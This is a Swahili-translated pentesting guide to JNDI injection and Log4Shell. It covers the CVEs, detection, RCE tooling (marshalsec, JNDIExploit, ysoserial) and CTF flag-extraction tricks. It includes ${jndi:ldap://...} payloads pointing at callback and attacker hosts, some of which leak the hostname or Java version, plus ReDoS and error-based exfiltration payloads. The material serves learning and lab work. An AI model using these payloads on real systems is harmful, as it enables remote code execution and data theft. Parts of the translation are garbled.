JNDI - Java Naming and Directory Interface & Log4Shell
Try Hard Security Group
Basic Information
JNDI, iliyounganishwa katika Java tangu mwishoni mwa miaka ya 1990, inatumika kama huduma ya directory, ikiruhusu programu za Java kutafuta data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za directory kupitia interfaces za mtoa huduma (SPIs), ikiruhusu upatikanaji wa data kutoka kwa mifumo tofauti, ikiwa ni pamoja na vitu vya Java vya mbali. SPIs maarufu ni pamoja na CORBA COS, Java RMI Registry, na LDAP.
JNDI Naming Reference
Vitu vya Java vinaweza kuhifadhiwa na kupatikana kwa kutumia JNDI Naming References, ambazo zinakuja katika aina mbili:
Reference Addresses: Inabainisha eneo la kitu (mfano, rmi://server/ref), ikiruhusu upatikanaji wa moja kwa moja kutoka anwani iliyoainishwa.
Remote Factory: Inarejelea darasa la kiwanda cha mbali. Wakati inapoingia, darasa linapakuliwa na kuanzishwa kutoka eneo la mbali.
Hata hivyo, mekanism hii inaweza kutumika vibaya, na inaweza kusababisha upakiaji na utekelezaji wa msimbo usio na mipaka. Kama hatua ya kupambana:
RMI:
java.rmi.server.useCodeabseOnly = truekwa default kutoka JDK 7u21, ikizuia upakiaji wa vitu vya mbali. Meneja wa Usalama pia hupunguza kile kinachoweza kupakuliwa.LDAP:
com.sun.jndi.ldap.object.trustURLCodebase = falsekwa default kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwa imewekwa kuwatrue, utekelezaji wa msimbo wa mbali unaweza kufanyika bila uangalizi wa Meneja wa Usalama.CORBA: Haina mali maalum, lakini Meneja wa Usalama daima yuko hai.
Hata hivyo, Meneja wa Majina, anayehusika na kutatua viungo vya JNDI, hana mekanism za usalama zilizojengwa, na inaweza kuruhusu upatikanaji wa vitu kutoka chanzo chochote. Hii inatoa hatari kwani ulinzi wa RMI, LDAP, na CORBA unaweza kupuuzia, na kusababisha upakiaji wa vitu vya Java vya kiholela au kutumia vipengele vilivyopo vya programu (gadgets) ili kutekeleza msimbo mbaya.
Mifano ya URLs zinazoweza kutumika vibaya ni pamoja na:
rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar
Licha ya ulinzi, udhaifu bado upo, hasa kutokana na ukosefu wa kinga dhidi ya upakiaji wa JNDI kutoka vyanzo visivyoaminika na uwezekano wa kupita ulinzi uliopo.
JNDI Example
Hata kama umeweka PROVIDER_URL, unaweza kuashiria nyingine katika utafutaji na itapatikana: ctx.lookup("<attacker-controlled-url>") na hiyo ndiyo itakayotumiwa na mshambuliaji kupakia vitu vya kiholela kutoka mfumo unaodhibitiwa na yeye.
CORBA Overview
CORBA (Common Object Request Broker Architecture) inatumia Interoperable Object Reference (IOR) kutambulisha kwa kipekee vitu vya mbali. Rejeleo hili lina habari muhimu kama:
Type ID: Kitambulisho cha kipekee kwa interface.
Codebase: URL ya kupata darasa la stub.
Kwa hakika, CORBA sio hatari kwa asili. Kuhakikisha usalama kawaida kunahusisha:
Usakinishaji wa Meneja wa Usalama.
Kuunda Meneja wa Usalama ili kuruhusu muunganisho kwa vyanzo vya msimbo vinavyoweza kuwa na madhara. Hii inaweza kufanywa kupitia:
Ruhusa ya Socket, mfano,
permissions java.net.SocketPermission "*:1098-1099", "connect";.Ruhusa za kusoma faili, ama kwa ujumla (
permission java.io.FilePermission "<<ALL FILES>>", "read";) au kwa saraka maalum ambapo faili mbaya zinaweza kuwekwa.
Hata hivyo, sera za wauzaji wengine zinaweza kuwa na huruma na kuruhusu muunganisho haya kwa default.
RMI Context
Kwa RMI (Remote Method Invocation), hali ni tofauti kidogo. Kama ilivyo kwa CORBA, upakiaji wa darasa la kiholela umewekwa mipaka kwa default. Ili kutumia RMI, mtu angehitaji kawaida kupita Meneja wa Usalama, jambo ambalo pia lina umuhimu katika CORBA.
LDAP
Kwanza kabisa, tunahitaji kutofautisha kati ya Utafutaji na Utafutaji.
Utafutaji utatumia URL kama ldap://localhost:389/o=JNDITutorial kutafuta kitu cha JNDITutorial kutoka kwa seva ya LDAP na kupata sifa zake.
Utafutaji unakusudia huduma za majina kwani tunataka kupata chochote kilichofungwa kwa jina.
Ikiwa utafutaji wa LDAP ulitolewa kwa SearchControls.setReturningObjFlag() na true, basi kitu kilichorejeshwa kitajengwa upya.
Kwa hivyo, kuna njia kadhaa za kushambulia chaguo hizi. Mshambuliaji anaweza kuharibu rekodi za LDAP kwa kuingiza payloads juu yao ambazo zitatekelezwa katika mifumo inayozikusanya (ni muhimu sana kuharibu mashine kumi ikiwa una ufikiaji wa seva ya LDAP). Njia nyingine ya kutumia hii ingekuwa kufanya shambulio la MitM katika utafutaji wa LDAP kwa mfano.
Ikiwa unaweza kufanya programu kutatua JNDI LDAP URL, unaweza kudhibiti LDAP ambayo itatafutwa, na unaweza kutuma nyuma exploit (log4shell).
Deserialization exploit
exploit imeandikwa na itakaguliwa.
Ikiwa trustURLCodebase ni true, mshambuliaji anaweza kutoa madarasa yake mwenyewe katika codebase ikiwa sivyo, atahitaji kutumia gadgets katika classpath.
JNDI Reference exploit
Ni rahisi kushambulia LDAP hii kwa kutumia JavaFactory references:
Log4Shell Vulnerability
Udhaifu umeanzishwa katika Log4j kwa sababu inasaidia sintaks maalum katika mfumo wa ${prefix:name} ambapo prefix ni moja ya nambari tofauti za Lookups ambapo name inapaswa kutathminiwa. Kwa mfano, ${java:version} ni toleo la sasa linalotumika la Java.
LOG4J2-313 ilianzisha kipengele cha jndi Lookup. Kipengele hiki kinaruhusu upatikanaji wa mabadiliko kupitia JNDI. Kawaida, funguo huwekwa kiotomatiki na java:comp/env/. Hata hivyo, ikiwa funguo yenyewe ina ":", prefix hii ya default haitumiki.
Ikiwa : inapatikana katika funguo, kama katika ${jndi:ldap://example.com/a} hakuna prefix na seva ya LDAP inatafutwa kwa kitu. Na hizi Lookups zinaweza kutumika katika usanidi wa Log4j na pia wakati mistari inarekodiwa.
Kwa hivyo, jambo pekee linalohitajika kupata RCE ni toleo hatari la Log4j linaloshughulikia habari inayodhibitiwa na mtumiaji. Na kwa sababu hii ni maktaba inayotumiwa sana na programu za Java kurekodi habari (programu zinazokabiliwa na mtandao zikiwemo) ilikuwa ya kawaida kuwa na log4j ikirekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Hata hivyo, log4j haitumiki kurekodi tu habari za HTTP bali pia pembejeo yoyote na data ambayo mendelezi alionyesha.
Overview of Log4Shell-Related CVEs
CVE-2021-44228 [Critical]
Udhaifu huu ni kasoro ya deserialization isiyoaminika katika sehemu ya log4j-core, inayoathiri toleo kuanzia 2.0-beta9 hadi 2.14.1. Inaruhusu utekelezaji wa msimbo wa mbali (RCE), ikiruhusu washambuliaji kuchukua mifumo. Tatizo hili liliripotiwa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na linaathiri mifumo mbalimbali ya Apache. Marekebisho ya awali katika toleo 2.15.0 hayakuwa kamili. Sheria za Sigma za ulinzi zinapatikana (Rule 1, Rule 2).
CVE-2021-45046 [Critical]
Kwanza ilikadiriawa kuwa ya chini lakini baadaye ikapandishwa kuwa hatari, CVE hii ni kasoro ya Denial of Service (DoS) inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri usanidi usio wa default, ikiruhusu washambuliaji kusababisha mashambulizi ya DoS kupitia payloads zilizoundwa. Tweet inaonyesha njia ya kupita. Tatizo hili limeondolewa katika matoleo 2.16.0 na 2.12.2 kwa kuondoa mifumo ya utafutaji wa ujumbe na kuzima JNDI kwa default.
CVE-2021-4104 [High]
Inayoathiri matoleo ya Log4j 1.x katika usanidi usio wa default ukitumia JMSAppender, CVE hii ni kasoro ya deserialization isiyoaminika. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo limefikia mwisho wa maisha, na inashauriwa kuboresha hadi log4j-core 2.17.0.
CVE-2021-42550 [Moderate]
Udhaifu huu unaathiri mfumo wa kurekodi wa Logback, mrithi wa Log4j 1.x. Awali ilidhaniwa kuwa salama, mfumo huu ulipatikana kuwa na udhaifu, na matoleo mapya (1.3.0-alpha11 na 1.2.9) yameachiliwa ili kushughulikia tatizo hili.
CVE-2021-45105 [High]
Log4j 2.16.0 ina kasoro ya DoS, ikichochea kutolewa kwa log4j 2.17.0 ili kurekebisha CVE. Maelezo zaidi yanaweza kupatikana katika ripoti ya BleepingComputer report.
Inayoathiri toleo la log4j 2.17, CVE hii inahitaji mshambuliaji kudhibiti faili ya usanidi ya log4j. Inahusisha uwezekano wa utekelezaji wa msimbo wa kiholela kupitia JDBCAppender iliyowekwa. Maelezo zaidi yanapatikana katika blogi ya Checkmarx.
Log4Shell Exploitation
Discovery
Udhaifu huu ni rahisi sana kugundua ikiwa hauna ulinzi kwa sababu itatuma angalau ombio la DNS kwa anwani unayoashiria katika payload yako. Kwa hivyo, payloads kama:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}(ukitumia canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}(ukitumia interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}(ukitumia Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}(ukitumia dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}ukitumia (ukitumia huntress)
Kumbuka kuwa hata kama ombi la DNS linapokelewa hiyo haimaanishi kuwa programu inaweza kutumika vibaya (au hata kuwa na udhaifu), utahitaji kujaribu kuishambulia.
Kumbuka kuwa ili ku exploit toleo 2.15 unahitaji kuongeza bypass ya ukaguzi wa localhost: ${jndi:ldap://127.0.0.1#...}
Local Discovery
Tafuta matoleo ya ndani yenye udhaifu ya maktaba kwa:
Uthibitisho
Baadhi ya majukwaa yaliyoorodheshwa hapo awali yatakuruhusu kuingiza baadhi ya data za mabadiliko ambazo zitaandikwa wakati zinapohitajika. Hii inaweza kuwa muhimu sana kwa mambo mawili:
Ili kuhakiki udhaifu
Ili kuondoa taarifa kwa kutumia udhaifu
Kwa mfano unaweza kuomba kitu kama:
au kama ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} na ikiwa ombio la DNS linapokelewa na thamani ya mabadiliko ya env, unajua programu hiyo ina udhaifu.
Taarifa nyingine unazoweza kujaribu kuvuja:
RCE Information
Mikondo inayotumia toleo la JDK zaidi ya 6u141, 7u131, au 8u121 imehifadhiwa dhidi ya shambulio la kupakia darasa la LDAP. Hii ni kutokana na kuzima kwa chaguo-msingi com.sun.jndi.ldap.object.trustURLCodebase, ambayo inazuia JNDI kupakia msingi wa msimbo wa mbali kupitia LDAP. Hata hivyo, ni muhimu kutambua kwamba toleo hizi hazihifadhiwi dhidi ya shambulio la deserialization.
Kwa washambuliaji wanaolenga kutumia toleo hizi za JDK za juu, ni muhimu kutumia gadget iliyoaminika ndani ya programu ya Java. Zana kama ysoserial au JNDIExploit mara nyingi hutumika kwa kusudi hili. Kinyume chake, kutumia toleo la chini la JDK ni rahisi zaidi kwani toleo hizi zinaweza kudhibitiwa ili kupakia na kutekeleza madarasa yasiyo na mipaka.
Kwa maelezo zaidi (kama vile vikwazo kwenye RMI na CORBA vectors) angalia sehemu ya awali ya JNDI Naming Reference au https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
RCE - Marshalsec with custom payload
Unaweza kujaribu hii katika THM box: https://tryhackme.com/room/solar
Tumia zana marshalsec (toleo la jar linapatikana hapa). Njia hii inaanzisha seva ya rufaa ya LDAP ili kuelekeza muunganisho kwenye seva ya HTTP ya pili ambapo exploit itakuwa ikihifadhiwa:
Ili kumshawishi lengo kupakia msimbo wa reverse shell, tengeneza faili la Java lililo na jina Exploit.java lenye maudhui yafuatayo:
Kusanya faili la Java kuwa faili la darasa kwa kutumia: javac Exploit.java -source 8 -target 8. Kisha, anzisha HTTP server katika saraka inayoshikilia faili la darasa kwa kutumia: python3 -m http.server. Hakikisha marshalsec LDAP server inarejelea HTTP server hii.
Chochea utekelezaji wa darasa la exploit kwenye seva ya wavuti iliyo hatarini kwa kutuma mzigo unaofanana na:
Kumbuka: Huu uvamizi unategemea usanidi wa Java kuruhusu upakiaji wa msingi wa msimbo wa mbali kupitia LDAP. Ikiwa hii hairuhusiwi, fikiria kutumia darasa lililoaminika kwa utekelezaji wa msimbo wa kiholela.
RCE - JNDIExploit
Kumbuka kwamba kwa sababu fulani mwandishi aliondoa mradi huu kutoka github baada ya kugunduliwa kwa log4shell. Unaweza kupata toleo lililohifadhiwa katika https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 lakini ikiwa unataka kuheshimu uamuzi wa mwandishi tumia njia tofauti ya kutumia hii vuln.
Zaidi ya hayo, huwezi kupata msimbo wa chanzo katika mashine ya wayback, hivyo changanua msimbo wa chanzo, au tekeleza jar ukijua kwamba hujui unachotekeleza.
Kwa mfano huu unaweza tu kuendesha seva ya wavuti iliyo hatarini kwa log4shell katika bandari 8080: https://github.com/christophetd/log4shell-vulnerable-app (katika README utaona jinsi ya kuendesha). Hii programu iliyo hatarini inarekodi kwa toleo hatarishi la log4shell yaliyomo katika kichwa cha ombi la HTTP X-Api-Version.
Kisha, unaweza kupakua faili ya JNDIExploit jar na kuitekeleza kwa:
Baada ya kusoma msimbo kwa dakika chache tu, katika com.feihong.ldap.LdapServer na com.feihong.ldap.HTTPServer unaweza kuona jinsi seva za LDAP na HTTP zinavyoundwa. Seva ya LDAP itakielewa kile payload kinachohitajika kutolewa na itamwelekeza mwathirika kwenye seva ya HTTP, ambayo itatoa exploit. Katika com.feihong.ldap.gadgets unaweza kupata gadgets maalum ambazo zinaweza kutumika kutekeleza kitendo kinachotakiwa (kwa uwezekano kutekeleza msimbo wa kiholela). Na katika com.feihong.ldap.template unaweza kuona madarasa tofauti ya template ambayo yat azalisha exploits.
Unaweza kuona exploits zote zinazopatikana kwa java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Baadhi ya zile muhimu ni:
Hivyo, katika mfano wetu, tayari tuna hiyo programu ya docker iliyo hatarini ikifanya kazi. Ili kuishambulia:
Wakati wa kutuma mashambulizi utaona baadhi ya matokeo kwenye terminal ambapo ulitekeleza JNDIExploit-1.2-SNAPSHOT.jar.
Kumbuka kuangalia java -jar JNDIExploit-1.2-SNAPSHOT.jar -u kwa chaguzi nyingine za unyakuzi. Aidha, ikiwa unahitaji, unaweza kubadilisha bandari za seva za LDAP na HTTP.
RCE - JNDI-Exploit-Kit
Kwa njia sawa na unyakuzi wa awali, unaweza kujaribu kutumia JNDI-Exploit-Kit kutekeleza udhaifu huu. Unaweza kuunda URL za kutuma kwa mwathirika ukikimbia:
Shambulio hili linalotumia kitu cha java kilichoundwa maalum litafanya kazi katika maabara kama THM solar room. Hata hivyo, hii kwa ujumla haitafanya kazi (kwa sababu kwa kawaida Java haijasanidiwa kupakia msingi wa msimbo wa mbali kwa kutumia LDAP) nadhani kwa sababu haipati faida ya darasa lililoaminika ili kutekeleza msimbo wa kiholela.
RCE - JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus ni chombo kingine cha kuzalisha viungo vya JNDI vinavyofanya kazi na kutoa huduma za msingi kwa kuanzisha seva ya RMI, seva ya LDAP na seva ya HTTP.\
RCE - ysoserial & JNDI-Exploit-Kit
Chaguo hili ni muhimu sana kushambulia matoleo ya Java yaliyo sanidiwa kuamini tu madarasa yaliyotajwa na si kila mtu. Kwa hivyo, ysoserial itatumika kuzalisha mifano ya madarasa yaliyoaminika ambayo yanaweza kutumika kama vifaa vya kutekeleza msimbo wa kiholela (darasa lililoaminika linalotumiwa na ysoserial lazima litumike na programu ya java ya mwathirika ili shambulio lifanye kazi).
Kwa kutumia ysoserial au ysoserial-modified unaweza kuunda shambulio la deserialization ambalo litapakuliwa na JNDI:
Tumia JNDI-Exploit-Kit kuunda viungo vya JNDI ambavyo shambulio litakuwa likisubiri muunganisho kutoka kwa mashine zenye udhaifu. Unaweza kuhudumia shambulio tofauti ambazo zinaweza kuundwa kiotomatiki na JNDI-Exploit-Kit au hata payloads zako za deserialization (zilizoundwa na wewe au ysoserial).
Sasa unaweza kwa urahisi kutumia kiungo cha JNDI kilichozalishwa kutekeleza udhaifu na kupata reverse shell kwa kutuma kwa toleo lenye udhaifu la log4j: ${ldap://10.10.14.10:1389/generated}
Bypasses
Automatic Scanners
https://github.com/palantir/log4j-sniffer - Pata maktaba za ndani zenye udhaifu
Labs to test
Post-Log4Shell Exploitation
Katika CTF writeup inafafanuliwa vizuri jinsi inavyoweza kuwa inawezekana kudhulumu baadhi ya vipengele vya Log4J.
ukurasa wa usalama wa Log4j una sentensi za kuvutia:
Kuanzia toleo 2.16.0 (kwa Java 8), kipengele cha kutafuta ujumbe kimeondolewa kabisa. Matafutizi katika usanidi bado yanafanya kazi. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa default. Matafutizi ya JNDI katika usanidi sasa yanahitaji kuwezeshwa wazi.
Kuanzia toleo 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), ni maandiko pekee ya kutafuta katika usanidi yanayopanuliwa kwa kurudi nyuma; katika matumizi mengine yoyote, tu kutafuta kiwango cha juu ndiko kunatatuliwa, na matafutizi yoyote ya ndani hayatatuliwa.
Hii inamaanisha kwamba kwa default unaweza kusahau kutumia yoyote jndi exploit. Zaidi ya hayo, ili kufanya matafutizi ya kurudi nyuma unahitaji kuwa na hizo zimewekwa.
Kwa mfano, katika hiyo CTF hii ilipangwa katika faili log4j2.xml:
Env Lookups
Katika CTF hii mshambuliaji alidhibiti thamani ya ${sys:cmd} na alihitaji kutoa bendera kutoka kwa mabadiliko ya mazingira.
Kama inavyoonekana kwenye ukurasa huu katika payloads za awali kuna njia tofauti za kufikia mabadiliko ya mazingira, kama vile: ${env:FLAG}. Katika CTF hii hii haikuwa na manufaa lakini inaweza kuwa na manufaa katika hali nyingine za maisha halisi.
Exfiltration in Exceptions
Katika CTF, haukupata kufikia stderr ya programu ya java inayotumia log4J, lakini makosa ya Log4J yatumwa kwa stdout, ambayo yalichapishwa katika programu ya python. Hii ilimaanisha kwamba kwa kuchochea kosa tunaweza kufikia maudhui. Kosa la kutoa bendera lilikuwa: ${java:${env:FLAG}}. Hii inafanya kazi kwa sababu ${java:CTF{blahblah}} haipo na kosa lenye thamani ya bendera litakuwa limeonyeshwa:
Conversion Patterns Exceptions
Ili tu kutaja, unaweza pia kuingiza patterns za mabadiliko mpya na kuchochea makosa ambayo yataandikwa kwenye stdout. Kwa mfano:
Hii haikupatikana kuwa na manufaa kutoa tarehe ndani ya ujumbe wa kosa, kwa sababu utafutaji haukufanikiwa kabla ya pattern ya mabadiliko, lakini inaweza kuwa na manufaa kwa mambo mengine kama vile kugundua.
Conversion Patterns Regexes
Hata hivyo, inawezekana kutumia patterns za mabadiliko ambazo zinasaidia regexes kutoa taarifa kutoka kwa utafutaji kwa kutumia regexes na kutumia binary search au tabia za muda.
Binary search kupitia ujumbe wa makosa
Pattern ya mabadiliko %replace inaweza kutumika kuchukua nafasi maudhui kutoka kwa nyuzi hata kwa kutumia regexes. Inafanya kazi kama ifuatavyo: replace{pattern}{regex}{substitution}
Kwa kutumia tabia hii unaweza kufanya kuchukua nafasi kuchochea kosa ikiwa regex ilikubaliana na chochote ndani ya nyuzi (na hakuna kosa ikiwa haikupatikana) kama ifuatavyo:
Wakati msingi
Kama ilivyotajwa katika sehemu ya awali, %replace inasaidia regexes. Hivyo inawezekana kutumia payload kutoka kwenye ReDoS page kusababisha timeout ikiwa bendera imepatikana.
Kwa mfano, payload kama %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} itasababisha timeout katika CTF hiyo.
Katika writeup, badala ya kutumia shambulio la ReDoS ilitumia shambulio la amplification kusababisha tofauti ya muda katika majibu:
Ikiwa bendera inaanza na
flagGuess, bendera nzima inabadilishwa na#29 (nilitumia tabia hii kwa sababu huenda isiwe sehemu ya bendera). Kila moja ya#29 inayotokana kisha inabadilishwa na#54. Mchakato huu unarudiwa mara 6, na kusababisha jumla ya29*54*54^6* =`` ``96816014208#-s!Kubadilisha
#nyingi kama hizo kutasababisha timeout ya sekunde 10 ya programu ya Flask, ambayo kwa upande wake itasababisha msimbo wa hali ya HTTP 500 kutumwa kwa mtumiaji. (Ikiwa bendera haianzi naflagGuess, tutapata msimbo wa hali usio 500)
Marejeleo
Kundi la Usalama wa Jaribio Ngumu
Last updated
